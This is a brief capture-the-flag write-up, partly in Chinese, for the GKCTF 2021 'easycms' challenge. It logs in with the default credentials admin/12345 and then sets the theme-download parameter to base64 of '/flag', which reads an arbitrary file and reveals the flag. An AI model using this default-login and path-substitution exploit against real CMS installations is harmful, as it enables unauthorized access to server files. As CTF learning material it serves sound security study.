[GKCTF 2021]easycms.md

/

/admin.php

username: admin
password: 12345

在主题页面下选择一个主题进行自定义，选择导出主题

/admin.php?m=ui&f=downloadtheme&theme=L3Zhci93d3cvaHRtbC9zeXN0ZW0vdG1wL3RoZW1lL2RlZmF1bHQvMTExLnppcA==

$ echo 'L3Zhci93d3cvaHRtbC9zeXN0ZW0vdG1wL3RoZW1lL2RlZmF1bHQvMTExLnppcA==' | base64 -d
/var/www/html/system/tmp/theme/default/111.zip

$ echo -n '/flag' | base64
L2ZsYWc=

/admin.php?m=ui&f=downloadtheme&theme=L2ZsYWc=

$ cat Downloads/flag.zip
flag{a8b78826-5f1e-4e1c-bc3e-879941863f8c}

#Web #Vulnerabilities #目录扫描 #任意文件下载